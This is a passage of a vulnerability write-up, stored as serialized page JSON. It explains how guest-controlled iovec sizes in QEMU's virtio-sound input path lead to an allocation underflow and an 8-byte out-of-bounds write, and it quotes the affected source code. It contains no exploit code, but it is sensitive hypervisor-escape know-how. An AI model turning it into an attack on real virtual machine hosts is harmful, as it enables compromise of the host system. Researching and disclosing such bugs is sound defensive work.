iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":24,"tag":25,"props":131204,"children":131205},{},[131206,131208,131214,131216,131222,131224,131230,131232,131238,131240,131246],{"type":29,"value":131207},"Further at ",{"type":24,"tag":135,"props":131209,"children":131211},{"className":131210},[],[131212],{"type":29,"value":131213},"[2]",{"type":29,"value":131215},", the device computes the size of the data buffer as ",{"type":24,"tag":135,"props":131217,"children":131219},{"className":131218},[],[131220],{"type":29,"value":131221},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":131223},". That value is then used in the allocation: ",{"type":24,"tag":135,"props":131225,"children":131227},{"className":131226},[],[131228],{"type":29,"value":131229},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":131231},". Finally, at ",{"type":24,"tag":135,"props":131233,"children":131235},{"className":131234},[],[131236],{"type":29,"value":131237},"[3]",{"type":29,"value":131239},", the newly allocated buffer is appended to the ",{"type":24,"tag":135,"props":131241,"children":131243},{"className":131242},[],[131244],{"type":29,"value":131245},"stream->queue",{"type":29,"value":131247}," linked list.",{"type":24,"tag":25,"props":131249,"children":131250},{},[131251,131253,131258,131260,131265,131267,131272,131274,131280],{"type":29,"value":131252},"Because both the ",{"type":24,"tag":135,"props":131254,"children":131256},{"className":131255},[],[131257],{"type":29,"value":130903},{"type":29,"value":131259}," iovec and the ",{"type":24,"tag":135,"props":131261,"children":131263},{"className":131262},[],[131264],{"type":29,"value":130920},{"type":29,"value":131266}," field are guest-controlled, and there is no check that the total ",{"type":24,"tag":135,"props":131268,"children":131270},{"className":131269},[],[131271],{"type":29,"value":130903},{"type":29,"value":131273}," size is at least ",{"type":24,"tag":135,"props":131275,"children":131277},{"className":131276},[],[131278],{"type":29,"value":131279},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":131281},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":24,"tag":25,"props":131283,"children":131284},{},[131285,131287,131292,131294,131300,131302,131308,131310,131316],{"type":29,"value":131286},"From the guest driver, we can provide an empty ",{"type":24,"tag":135,"props":131288,"children":131290},{"className":131289},[],[131291],{"type":29,"value":130903},{"type":29,"value":131293}," iovec. In that case, the calculation becomes ",{"type":24,"tag":135,"props":131295,"children":131297},{"className":131296},[],[131298],{"type":29,"value":131299},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":131301},", so the allocation size effectively becomes ",{"type":24,"tag":135,"props":131303,"children":131305},{"className":131304},[],[131306],{"type":29,"value":131307},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":131309},". Given the definition of ",{"type":24,"tag":135,"props":131311,"children":131313},{"className":131312},[],[131314],{"type":29,"value":131315},"VirtIOSoundPCMBuffer",{"type":29,"value":12210},{"type":24,"tag":261,"props":131318,"children":131320},{"code":131319,"language":578,"meta":7,"className":576,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[131321],{"type":24,"tag":135,"props":131322,"children":131323},{"__ignoreMap":7},[131324,131336,131349,131364,131381,131393,131405,131413,131425,131445],{"type":24,"tag":271,"props":131325,"children":131326},{"class":273,"line":274},[131327,131331],{"type":24,"tag":271,"props":131328,"children":131329},{"style":278},[131330],{"type":29,"value":1772},{"type":24,"tag":271,"props":131332,"children":131333},{"style":288},[131334],{"type":29,"value":131335}," VirtIOSoundPCMBuffer {\n",{"type":24,"tag":271,"props":131337,"children":131338},{"class":273,"line":284},[131339,131344],{"type":24,"tag":271,"props":131340,"children":131341},{"style":598},[131342],{"type":29,"value":131343}," QSIMPLEQ_ENTRY",{"type":24,"tag":271,"props":131345,"children":131346},{"style":288},[131347],{"type":29,"value":131348},"(VirtIOSoundPCMBuffer) entry;\n",{"type":24,"tag":271,"props":131350,"children":131351},{"class":273,"line":294},[131352,131356,131360],{"type":24,"tag":271,"props":131353,"children":131354},{"style":288},[131355],{"type":29,"value":130681},{"type":24,"tag":271,"props":131357,"children":131358},{"style":624},[131359],{"type":29,"value":627},{"type":24,"tag":271,"props":131361,"children":131362},{"style":288},[131363],{"type":29,"value":130690},{"type":24,"tag":271,"props":131365,"children":131366},{"class":273,"line":303},[131367,131372,131376],{"type":24,"tag":271,"props":131368,"children":131369},{"style":288},[131370],{"type":29,"value":131371}," VirtQueue ",{"type":24,"tag":271,"props":131373,"children":131374},{"style":624},[131375],{"type":29,"value":627},{"type":24,"tag":271,"props":131377,"children":131378},{"style":288},[131379],{"type":29,"value":131380},"vq;\n",{"type":24,"tag":271,"props":131382,"children":131383},{"class":273,"line":312},[131384,131388],{"type":24,"tag":271,"props":131385,"children":131386},{"style":278},[131387],{"type":29,"value":24260},{"type":24,"tag":271,"props":131389,"children":131390},{"style":288},[131391],{"type":29,"value":131392}," size;\n",{"type":24,"tag":271,"props":131394,"children":131395},{"class":273,"line":321},[131396,131400],{"type":24,"tag":271,"props":131397,"children":131398},{"style":278},[131399],{"type":29,"value":5257},{"type":24,"tag":271,"props":131401,"children":131402},{"style":288},[131403],{"type":29,"value":131404}," offset;\n",{"type":24,"tag":271,"props":131406,"children":131407},{"class":273,"line":330},[131408],{"type":24,"tag":271,"props":131409,"children":131410},{"style":2058},[131411],{"type":29,"value":131412}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":24,"tag":271,"props":131414,"children":131415},{"class":273,"line":339},[131416,131420],{"type":24,"tag":271,"props":131417,"children":131418},{"style":278},[131419],{"type":29,"value":8093},{"type":24,"tag":271,"props":131421,"children":131422},{"style":288},[131423],{"type":29,"value":131424}," populated;\n",{"type":24,"tag":271,"props":131426,"children":131427},{"class":273,"line":347},[131428,131432,131436,131441],{"type":24,"tag":271,"props":131429,"children":131430},{"style":278},[131431],{"type":29,"value":8118},{"type":24,"tag":271,"props":131433,"children":131434},{"style":288},[131435],{"type":29,"value":8123},{"type":24,"tag":271,"props":131437,"children":131438},{"style":278},[131439],{"type":29,"value":131440},"[]",{"type":24,"tag":271,"props":131442,"children":131443},{"style":288},[131444],{"type":29,"value":1069},{"type":24,"tag":271,"props":131446,"children":131447},{"class":273,"line":356},[131448],{"type":24,"tag":271,"props":131449,"children":131450},{"style":288},[131451],{"type":29,"value":4006},{"type":24,"tag":25,"props":131453,"children":131454},{},[131455,131457,131463,131465,131470,131472,131477,131479,131484,131486,131491,131493,131499],{"type":29,"value":131456},"That under-allocation removes the ",{"type":24,"tag":135,"props":131458,"children":131460},{"className":131459},[],[131461],{"type":29,"value":131462},"populated",{"type":29,"value":131464}," field along with the variable-sized ",{"type":24,"tag":135,"props":131466,"children":131468},{"className":131467},[],[131469],{"type":29,"value":8590},{"type":29,"value":131471}," array. As the comment says, ",{"type":24,"tag":135,"props":131473,"children":131475},{"className":131474},[],[131476],{"type":29,"value":131462},{"type":29,"value":131478}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":24,"tag":135,"props":131480,"children":131482},{"className":131481},[],[131483],{"type":29,"value":156},{"type":29,"value":131485},", the device believes data should be ",{"type":24,"tag":135,"props":131487,"children":131489},{"className":131488},[],[131490],{"type":29,"value":156},{"type":29,"value":131492}," byte, while the actual allocation is ",{"type":24,"tag":135,"props":131494,"children":131496},{"className":131495},[],[131497],{"type":29,"value":131498},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":41},{"type":24,"tag":26585,"props":131501,"children":131503},{"id":131502},"populating-data-buffers",[131504],{"type":29,"value":131505},"Populating Data Buffers",{"type":24,"tag":25,"props":131507,"children":131508},{},[131509],{"type":29,"value":131510},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":24,"tag":261,"props":131512,"children":131514},{"code":131513,"language":578,"meta":7,"className":576,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[131515],{"type":24,"tag":135,"props":131516,"children":131517},{"__ignoreMap":7},[131518,131525,131533,131540,131548,131556,131563,131612,131619,131645,131662,131674,131681,131713,131758,131798,131805,131813,131820,131845,131873,131897,131905,131917,131955,131968,131980,131987,132033,132070,132113,132134,132154,132174,132185,132192,132215,132231,132239,132246,132253,132260],{"type":24,"tag":271,"props":131519,"children":131520},{"class":273,"line":274},[131521],{"type":24,"tag":271,"props":131522,"children":131523},{"style":2058},[131524],{"type":29,"value":57029},{"type":24,"tag":271,"props":131526,"children":131527},{"class":273,"line":284},[131528],{"type":24,"tag":271,"props":131529,"children":131530},{"style":2058},[131531],{"type":29,"value":131532}," * AUD_* input callback.\n",{"type":24,"tag":271,"props":131534,"children":131535},{"class":273,"line":294},[131536],{"type":24,"tag":271,"props":131537,"children":131538},{"style":2058},[131539],{"type":29,"value":27177},{"type":24,"tag":271,"props":131541,"children":131542},{"class":273,"line":303},[131543],{"type":24,"tag":271,"props":131544,"children":131545},{"style":2058},[131546],{"type":29,"value":131547}," * @data: VirtIOSoundPCMStream stream\n",{"type":24,"tag":271,"props":131549,"children":131550},{"class":273,"line":312},[131551],{"type":24,"tag":271,"props":131552,"children":131553},{"style":2058},[131554],{"type":29,"value":131555}," * @available: number of bytes that can be read with AUD_read()\n",{"type":24,"tag":271,"props":131557,"children":131558},{"class":273,"line":321},[131559],{"type":24,"tag":271,"props":131560,"children":131561},{"style":2058},[131562],{"type":29,"value":130618},{"type":24,"tag":271,"props":131564,"children":131565},{"class":273,"line":330},[131566,131570,131574,131579,131583,131587,131591,131595,131599,131603,131608],{"type":24,"tag":271,"props":131567,"children":131568},{"style":278},[131569],{"type":29,"value":590},{"type":24,"tag":271,"props":131571,"children":131572},{"style":278},[131573],{"type":29,"value":595},{"type":24,"tag":271,"props":131575,"children":131576},{"style":598},[131577],{"type":29,"value":131578}," virtio_snd_pcm_in_cb",{"type":24,"tag":271,"props":131580,"children":131581},{"style":288},[131582],{"type":29,"value":606},{"type":24,"tag":271,"props":131584,"children":131585},{"style":278},[131586],{"type":29,"value":1205},{"type":24,"tag":271,"props":131588,"children":131589},{"style":624},[131590],{"type":29,"value":3895},{"type":24,"tag":271,"props":131592,"children":131593},{"style":630},[131594],{"type":29,"value":8590},{"type":24,"tag":271,"props":131596,"children":131597},{"style":288},[131598],{"type":29,"value":158},{"type":24,"tag":271,"props":131600,"children":131601},{"style":278},[131602],{"type":29,"value":3923},{"type":24,"tag":271,"props":131604,"children":131605},{"style":630},[131606],{"type":29,"value":131607}," available",{"type":24,"tag":271,"props":131609,"children":131610},{"style":288},[131611],{"type":29,"value":694},{"type":24,"tag":271,"props":131613,"children":131614},{"class":273,"line":339},[131615],{"type":24,"tag":271,"props":131616,"children":131617},{"style":288},[131618],{"type":29,"value":702},{"type":24,"tag":271,"props":131620,"children":131621},{"class":273,"line":347},[131622,131627,131631,131636,131640],{"type":24,"tag":271,"props":131623,"children":131624},{"style":288},[131625],{"type":29,"value":131626}," VirtIOSoundPCMStream ",{"type":24,"tag":271,"props":131628,"children":131629},{"style":624},[131630],{"type":29,"value":627},{"type":24,"tag":271,"props":131632,"children":131633},{"style":288},[131634],{"type":29,"value":131635},"stream ",{"type":24,"tag":271,"props":131637,"children":131638},{"style":624},[131639],{"type":29,"value":762},{"type":24,"tag":271,"props":131641,"children":131642},{"style":288},[131643],{"type":29,"value":131644}," data;\n",{"type":24,"tag":271,"props":131646,"children":131647},{"class":273,"line":356},[131648,131653,131657],{"type":24,"tag":271,"props":131649,"children":131650},{"style":288},[131651],{"type":29,"value":131652}," VirtIOSoundPCMBuffer ",{"type":24,"tag":271,"props":131654,"children":131655},{"style":624},[131656],{"type":29,"value":627},{"type":24,"tag":271,"props":131658,"children":131659},{"style":288},[131660],{"type":29,"value":131661},"buffer;\n",{"type":24,"tag":271,"props":131663,"children":131664},{"class":273,"line":365},[131665,131669],{"type":24,"tag":271,"props":131666,"children":131667},{"style":278},[131668],{"type":29,"value":24260},{"type":24,"tag":271,"props":131670,"children":131671},{"style":288},[131672],{"type":29,"value":131673}," size, max_size;\n",{"type":24,"tag":271,"props":131675,"children":131676},{"class":273,"line":374},[131677],{"type":24,"tag":271,"props":131678,"children":131679},{"emptyLinePlaceholder":16},[131680],{"type":29,"value":327},{"type":24,"tag":271,"props":131682,"children":131683},{"class":273,"line":384},[131684,131689,131693,131697,131701,131705,131709],{"type":24,"tag":271,"props":131685,"children":131686},{"style":598},[131687],{"type":29,"value":131688}," WITH_QEMU_LOCK_GUARD",{"type":24,"tag":271,"props":131690,"children":131691},{"style":288},[131692],{"type":29,"value":606},{"type":24,"tag":271,"props":131694,"children":131695},{"style":624},[131696],{"type":29,"value":1137},{"type":24,"tag":271,"props":131698,"children":131699},{"style":630},[131700],{"type":29,"value":43929},{"type":24,"tag":271,"props":131702,"children":131703},{"style":288},[131704],{"type":29,"value":786},{"type":24,"tag":271,"props":131706,"children":131707},{"style":630},[131708],{"type":29,"value":130865},{"type":24,"tag":271,"props":131710,"children":131711},{"style":288},[131712],{"type":29,"value":919},{"type":24,"tag":271,"props":131714,"children":131715},{"class":273,"line":393},[131716,131721,131725,131729,131734,131738,131742,131746,131750,131754],{"type":24,"tag":271,"props":131717,"children":131718},{"style":749},[131719],{"type":29,"value":131720}," while",{"type":24,"tag":271,"props":131722,"children":131723},{"style":288},[131724],{"type":29,"value":1357},{"type":24,"tag":271,"props":131726,"children":131727},{"style":624},[131728],{"type":29,"value":1818},{"type":24,"tag":271,"props":131730,"children":131731},{"style":598},[131732],{"type":29,"value":131733},"QSIMPLEQ_EMPTY",{"type":24,"tag":271,"props":131735,"children":131736},{"style":288},[131737],{"type":29,"value":606},{"type":24,"tag":271,"props":131739,"children":131740},{"style":624},[131741],{"type":29,"value":1137},{"type":24,"tag":271,"props":131743,"children":131744},{"style":630},[131745],{"type":29,"value":43929},{"type":24,"tag":271,"props":131747,"children":131748},{"style":288},[131749],{"type":29,"value":786},{"type":24,"tag":271,"props":131751,"children":131752},{"style":630},[131753],{"type":29,"value":131118},{"type":24,"tag":271,"props":131755,"children":131756},{"style":288},[131757],{"type":29,"value":2317},{"type":24,"tag":271,"props":131759,"children":131760},{"class":273,"line":402},[131761,131765,131769,131774,131778,131782,131786,131790,131794],{"type":24,"tag":271,"props":131762,"children":131763},{"style":288},[131764],{"type":29,"value":130954},{"type":24,"tag":271,"props":131766,"children":131767},{"style":624},[131768],{"type":29,"value":762},{"type":24,"tag":271,"props":131770,"children":131771},{"style":598},[131772],{"type":29,"value":131773}," QSIMPLEQ_FIRST",{"type":24,"tag":271,"props":131775,"children":131776},{"style":288},[131777],{"type":29,"value":606},{"type":24,"tag":271,"props":131779,"children":131780},{"style":624},[131781],{"type":29,"value":1137},{"type":24,"tag":271,"props":131783,"children":131784},{"style":630},[131785],{"type":29,"value":43929},{"type":24,"tag":271,"props":131787,"children":131788},{"style":288},[131789],{"type":29,"value":786},{"type":24,"tag":271,"props":131791,"children":131792},{"style":630},[131793],{"type":29,"value":131118},{"type":24,"tag":271,"props":131795,"children":131796},{"style":288},[131797],{"type":29,"value":1155},{"type":24,"tag":271,"props":131799,"children":131800},{"class":273,"line":411},[131801],{"type":24,"tag":271,"props":131802,"children":131803},{"emptyLinePlaceholder":16},[131804],{"type":29,"value":327},{"type":24,"tag":271,"props":131806,"children":131807},{"class":273,"line":420},[131808],{"type":24,"tag":271,"props":131809,"children":131810},{"style":288},[131811],{"type":29,"value":131812}," [...]\n",{"type":24,"tag":271,"props":131814,"children":131815},{"class":273,"line":429},[131816],{"type":24,"tag":271,"props":131817,"children":131818},{"emptyLinePlaceholder":16},[131819],{"type":29,"value":327},{"type":24,"tag":271,"props":131821,"children":131822},{"class":273,"line":438},[131823,131828,131832,131836,131840],{"type":24,"tag":271,"props":131824,"children":131825},{"style":288},[131826],{"type":29,"value":131827}," max_size ",{"type":24,"tag":271,"props":131829,"children":131830},{"style":624},[131831],{"type":29,"value":762},{"type":24,"tag":271,"props":131833,"children":131834},{"style":598},[131835],{"type":29,"value":130886},{"type":24,"tag":271,"props":131837,"children":131838},{"style":288},[131839],{"type":29,"value":606},{"type":24,"tag":271,"props":131841,"children":131842},{"style":2058},[131843],{"type":29,"value":131844}," // [1]\n",{"type":24,"tag":271,"props":131846,"children":131847},{"class":273,"line":447},[131848,131853,131857,131861,131865,131869],{"type":24,"tag":271,"props":131849,"children":131850},{"style":630},[131851],{"type":29,"value":131852}," buffer",{"type":24,"tag":271,"props":131854,"children":131855},{"style":288},[131856],{"type":29,"value":786},{"type":24,"tag":271,"props":131858,"children":131859},{"style":630},[131860],{"type":29,"value":1646},{"type":24,"tag":271,"props":131862,"children":131863},{"style":288},[131864],{"type":29,"value":786},{"type":24,"tag":271,"props":131866,"children":131867},{"style":630},[131868],{"type":29,"value":130903},{"type":24,"tag":271,"props":131870,"children":131871},{"style":288},[131872],{"type":29,"value":638},{"type":24,"tag":271,"props":131874,"children":131875},{"class":273,"line":455},[131876,131880,131884,131888,131892],{"type":24,"tag":271,"props":131877,"children":131878},{"style":630},[131879],{"type":29,"value":131852},{"type":24,"tag":271,"props":131881,"children":131882},{"style":288},[131883],{"type":29,"value":786},{"type":24,"tag":271,"props":131885,"children":131886},{"style":630},[131887],{"type":29,"value":1646},{"type":24,"tag":271,"props":131889,"children":131890},{"style":288},[131891],{"type":29,"value":786},{"type":24,"tag":271,"props":131893,"children":131894},{"style":630},[131895],{"type":29,"value":131896},"in_num\n",{"type":24,"tag":271,"props":131898,"children":131899},{"class":273,"line":464},[131900],{"type":24,"tag":271,"props":131901,"children":131902},{"style":288},[131903],{"type":29,"value":131904}," );\n",{"type":24,"tag":271,"props":131906,"children":131907},{"class":273,"line":473},[131908,131913],{"type":24,"tag":271,"props":131909,"children":131910},{"style":749},[131911],{"type":29,"value":131912}," for",{"type":24,"tag":271,"props":131914,"children":131915},{"style":288},[131916],{"type":29,"value":130716},{"type":24,"tag":271,"props":131918,"children":131919},{"class":273,"line":483},[131920,131924,131928,131933,131937,131941,131945,131950],{"type":24,"tag":271,"props":131921,"children":131922},{"style":749},[131923],{"type":29,"value":110310},{"type":24,"tag":271,"props":131925,"children":131926},{"style":288},[131927],{"type":29,"value":1357},{"type":24,"tag":271,"props":131929,"children":131930},{"style":630},[131931],{"type":29,"value":131932},"buffer",{"type":24,"tag":271,"props":131934,"children":131935},{"style":288},[131936],{"type":29,"value":786},{"type":24,"tag":271,"props":131938,"children":131939},{"style":630},[131940],{"type":29,"value":131050},{"type":24,"tag":271,"props":131942,"children":131943},{"style":624},[131944],{"type":29,"value":16017},{"type":24,"tag":271,"props":131946,"children":131947},{"style":288},[131948],{"type":29,"value":131949}," max_size) {",{"type":24,"tag":271,"props":131951,"children":131952},{"style":2058},[131953],{"type":29,"value":131954}," // [2]\n",{"type":24,"tag":271,"props":131956,"children":131957},{"class":273,"line":491},[131958,131963],{"type":24,"tag":271,"props":131959,"children":131960},{"style":598},[131961],{"type":29,"value":131962}," return_rx_buffer",{"type":24,"tag":271,"props":131964,"children":131965},{"style":288},[131966],{"type":29,"value":131967},"(stream, buffer);\n",{"type":24,"tag":271,"props":131969,"children":131970},{"class":273,"line":499},[131971,131976],{"type":24,"tag":271,"props":131972,"children":131973},{"style":749},[131974],{"type":29,"value":131975}," break",{"type":24,"tag":271,"props":131977,"children":131978},{"style":288},[131979],{"type":29,"value":1069},{"type":24,"tag":271,"props":131981,"children":131982},{"class":273,"line":3188},[131983],{"type":24,"tag":271,"props":131984,"children":131985},{"style":288},[131986],{"type":29,"value":77859},{"type":24,"tag":271,"props":131988,"children":131989},{"class":273,"line":3247},[131990,131995,131999,132004,132008,132012,132016,132021,132025,132029],{"type":24,"tag":271,"props":131991,"children":131992},{"style":288},[131993],{"type":29,"value":131994}," size ",{"type":24,"tag":271,"props":131996,"children":131997},{"style":624},[131998],{"type":29,"value":762},{"type":24,"tag":271,"props":132000,"children":132001},{"style":598},[132002],{"type":29,"value":132003}," AUD_read",{"type":24,"tag":271,"props":132005,"children":132006},{"style":288},[132007],{"type":29,"value":606},{"type":24,"tag":271,"props":132009,"children":132010},{"style":630},[132011],{"type":29,"value":43929},{"type":24,"tag":271,"props":132013,"children":132014},{"style":288},[132015],{"type":29,"value":786},{"type":24,"tag":271,"props":132017,"children":132018},{"style":630},[132019],{"type":29,"value":132020},"voice",{"type":24,"tag":271,"props":132022,"children":132023},{"style":288},[132024],{"type":29,"value":41},{"type":24,"tag":271,"props":132026,"children":132027},{"style":630},[132028],{"type":29,"value":102288},{"type":24,"tag":271,"props":132030,"children":132031},{"style":288},[132032],{"type":29,"value":638},{"type":24,"tag":271,"props":132034,"children":132035},{"class":273,"line":3255},[132036,132041,132045,132049,132053,132058,132062,132066],{"type":24,"tag":271,"props":132037,"children":132038},{"style":630},[132039],{"type":29,"value":132040}," buffer",{"type":24,"tag":271,"props":132042,"children":132043},{"style":288},[132044],{"type":29,"value":786},{"type":24,"tag":271,"props":132046,"children":132047},{"style":630},[132048],{"type":29,"value":8590},{"type":24,"tag":271,"props":132050,"children":132051},{"style":624},[132052],{"type":29,"value":4253},{"type":24,"tag":271,"props":132054,"children":132055},{"style":630},[132056],{"type":29,"value":132057}," buffer",{"type":24,"tag":271,"props":132059,"children":132060},{"style":288},[132061],{"type":29,"value":786},{"type":24,"tag":271,"props":132063,"children":132064},{"style":630},[132065],{"type":29,"value":131050},{"type":24,"tag":271,"props":132067,"children":132068},{"style":288},[132069],{"type":29,"value":638},{"type":24,"tag":271,"props":132071,"children":132072},{"class":273,"line":3263},[132073,132078,132083,132087,132091,132095,132099,132104,132108],{"type":24,"tag":271,"props":132074,"children":132075},{"style":598},[132076],{"type":29,"value":132077}," MIN",{"type":24,"tag":271,"props":132079,"children":132080},{"style":288},[132081],{"type":29,"value":132082},"(available, (",{"type":24,"tag":271,"props":132084,"children":132085},{"style":630},[132086],{"type":29,"value":43929},{"type":24,"tag":271,"props":132088,"children":132089},{"style":288},[132090],{"type":29,"value":786},{"type":24,"tag":271,"props":132092,"children":132093},{"style":630},[132094],{"type":29,"value":105072},{"type":24,"tag":271,"props":132096,"children":132097},{"style":288},[132098],{"type":29,"value":41},{"type":24,"tag":271,"props":132100,"children":132101},{"style":630},[132102],{"type":29,"value":132103},"period_bytes",{"type":24,"tag":271,"props":132105,"children":132106},{"style":624},[132107],{"type":29,"value":819},{"type":24,"tag":271,"props":132109,"children":132110},{"style":2058},[132111],{"type":29,"value":132112}," // [3]\n",{"type":24,"tag":271,"props":132114,"children":132115},{"class":273,"line":3293},[132116,132121,132125,132129],{"type":24,"tag":271,"props":132117,"children":132118},{"style":630},[132119],{"type":29,"value":132120}," buffer",{"type":24,"tag":271,"props":132122,"children":132123},{"style":288},[132124],{"type":29,"value":786},{"type":24,"tag":271,"props":132126,"children":132127},{"style":630},[132128],{"type":29,"value":131050},{"type":24,"tag":271,"props":132130,"children":132131},{"style":288},[132132],{"type":29,"value":132133},")));\n",{"type":24,"tag":271,"props":132135,"children":132136},{"class":273,"line":3301},[132137,132141,132145,132149],{"type":24,"tag":271,"props":132138,"children":132139},{"style":749},[132140],{"type":29,"value":110310},{"type":24,"tag":271,"props":132142,"children":132143},{"style":288},[132144],{"type":29,"value":1357},{"type":24,"tag":271,"props":132146,"children":132147},{"style":624},[132148],{"type":29,"value":1818},{"type":24,"tag":271,"props":132150,"children":132151},{"style":288},[132152],{"type":29,"value":132153},"size) {\n",{"type":24,"tag":271,"props":132155,"children":132156},{"class":273,"line":3683},[132157,132162,132166,132170],{"type":24,"tag":271,"props":132158,"children":132159},{"style":288},[132160],{"type":29,"value":132161}," available ",{"type":24,"tag":271,"props":132163,"children":132164},{"style":624},[132165],{"type":29,"value":762},{"type":24,"tag":271,"props":132167,"children":132168},{"style":477},[132169],{"type":29,"value":767},{"type":24,"tag":271,"props":132171,"children":132172},{"style":288},[132173],{"type":29,"value":1069},{"type":24,"tag":271,"props":132175,"children":132176},{"class":273,"line":4486},[132177,132181],{"type":24,"tag":271,"props":132178,"children":132179},{"style":749},[132180],{"type":29,"value":131975},{"type":24,"tag":271,"props":132182,"children":132183},{"style":288},[132184],{"type":29,"value":1069},{"type":24,"tag":271,"props":132186,"children":132187},{"class":273,"line":4509},[132188],{"type":24,"tag":271,"props":132189,"children":132190},{"style":288},[132191],{"type":29,"value":77859},{"type":24,"tag":271,"props":132193,"children":132194},{"class":273,"line":4545},[132195,132199,132203,132207,132211],{"type":24,"tag":271,"props":132196,"children":132197},{"style":630},[132198],{"type":29,"value":131852},{"type":24,"tag":271,"props":132200,"children":132201},{"style":288},[132202],{"type":29,"value":786},{"type":24,"tag":271,"props":132204,"children":132205},{"style":630},[132206],{"type":29,"value":131050},{"type":24,"tag":271,"props":132208,"children":132209},{"style":624},[132210],{"type":29,"value":22762},{"type":24,"tag":271,"props":132212,"children":132213},{"style":288},[132214],{"type":29,"value":131392},{"type":24,"tag":271,"props":132216,"children":132217},{"class":273,"line":4591},[132218,132223,132227],{"type":24,"tag":271,"props":132219,"children":132220},{"style":288},[132221],{"type":29,"value":132222}," available ",{"type":24,"tag":271,"props":132224,"children":132225},{"style":624},[132226],{"type":29,"value":110775},{"type":24,"tag":271,"props":132228,"children":132229},{"style":288},[132230],{"type":29,"value":131392},{"type":24,"tag":271,"props":132232,"children":132233},{"class":273,"line":4628},[132234],{"type":24,"tag":271,"props":132235,"children":132236},{"style":288},[132237],{"type":29,"value":132238}," [...]\n",{"type":24,"tag":271,"props":132240,"children":132241},{"class":273,"line":4658},[132242],{"type":24,"tag":271,"props":132243,"children":132244},{"style":288},[132245],{"type":29,"value":8554},{"type":24,"tag":271,"props":132247,"children":132248},{"class":273,"line":4666},[132249],{"type":24,"tag":271,"props":132250,"children":132251},{"style":288},[132252],{"type":29,"value":7574},{"type":24,"tag":271,"props":132254,"children":132255},{"class":273,"line":4674},[132256],{"type":24,"tag":271,"props":132257,"children":132258},{"style":288},[132259],{"type":29,"value":4385},{"type":24,"tag":271,"props":132261,"children":132262},{"class":273,"line":4683},[132263],{"type":24,"tag":271,"props":132264,"children":132265},{"style":288},[132266],{"type":29,"value":1171},{"type":24,"tag":25,"props":132268,"children":132269},{},[132270,132271,132276,132277,132283,132285,132291,132293,132298,132299,132304,132306,132311],{"type":29,"value":131172},{"type":24,"tag":135,"props":132272,"children":132274},{"className":132273},[],[132275],{"type":29,"value":131178},{"type":29,"value":158},{"type":24,"tag":135,"props":132278,"children":132280},{"className":132279},[],[132281],{"type":29,"value":132282},"max_size",{"type":29,"value":132284}," is set to ",{"type":24,"tag":135,"props":132286,"children":132288},{"className":132287},[],[132289],{"type":29,"value":132290},"iov_size(in_sg, in_num)",{"type":29,"value":132292},". Both ",{"type":24,"tag":135,"props":132294,"children":132296},{"className":132295},[],[132297],{"type":29,"value":130903},{"type":29,"value":518},{"type":24,"tag":135,"props":132300,"children":132302},{"className":132301},[],[132303],{"type":29,"value":130920},{"type":29,"value":132305}," are the same guest-controlled fields from ",{"type":24,"tag":135,"props":132307,"children":132309},{"className":132308},[],[132310],{"type":29,"value":130555},{"type":29,"value":41},{"type":24,"tag":25,"props":132313,"children":132314},{},[132315,132317,132322,132324,132330,132332,132338,132340,132346],{"type":29,"value":132316},"Later, at ",{"type":24,"tag":135,"props":132318,"children":132320},{"className":132319},[],[132321],{"type":29,"value":131213},{"type":29,"value":132323},", the code checks whether ",{"type":24,"tag":135,"props":132325,"children":132327},{"className":132326},[],[132328],{"type":29,"value":132329},"buffer->size >= max_size",{"type":29,"value":132331},". In the RX path, ",{"type":24,"tag":135,"props":132333,"children":132335},{"className":132334},[],[132336],{"type":29,"value":132337},"buffer->size",{"type":29,"value":132339}," tracks how many bytes have been written into ",{"type":24,"tag":135,"props":132341,"children":132343},{"className":132342},[],[132344],{"type":29,"value":132345},"buffer->data",{"type":29,"value":132347},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":24,"tag":25,"props":132349,"children":132350},{},[132351,132353,132358,132360,132366,132368,132373,132375,132381],{"type":29,"value":132352},"However, this does not match the allocation logic in ",{"type":24,"tag":135,"props":132354,"children":132356},{"className":132355},[],[132357],{"type":29,"value":130555},{"type":29,"value":132359},", which used: ",{"type":24,"tag":135,"props":132361,"children":132363},{"className":132362},[],[132364],{"type":29,"value":132365},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":132367},". In other words, the allocation subtracts ",{"type":24,"tag":135,"props":132369,"children":132371},{"className":132370},[],[132372],{"type":29,"value":131279},{"type":29,"value":132374},", but the later bound in ",{"type":24,"tag":135,"props":132376,"children":132378},{"className":132377},[],[132379],{"type":29,"value":132380},"virtio_snd_pcm_in_cb",{"type":29,"value":132382}," does not. That mismatch gives us a second bug: an 8-byte OOB 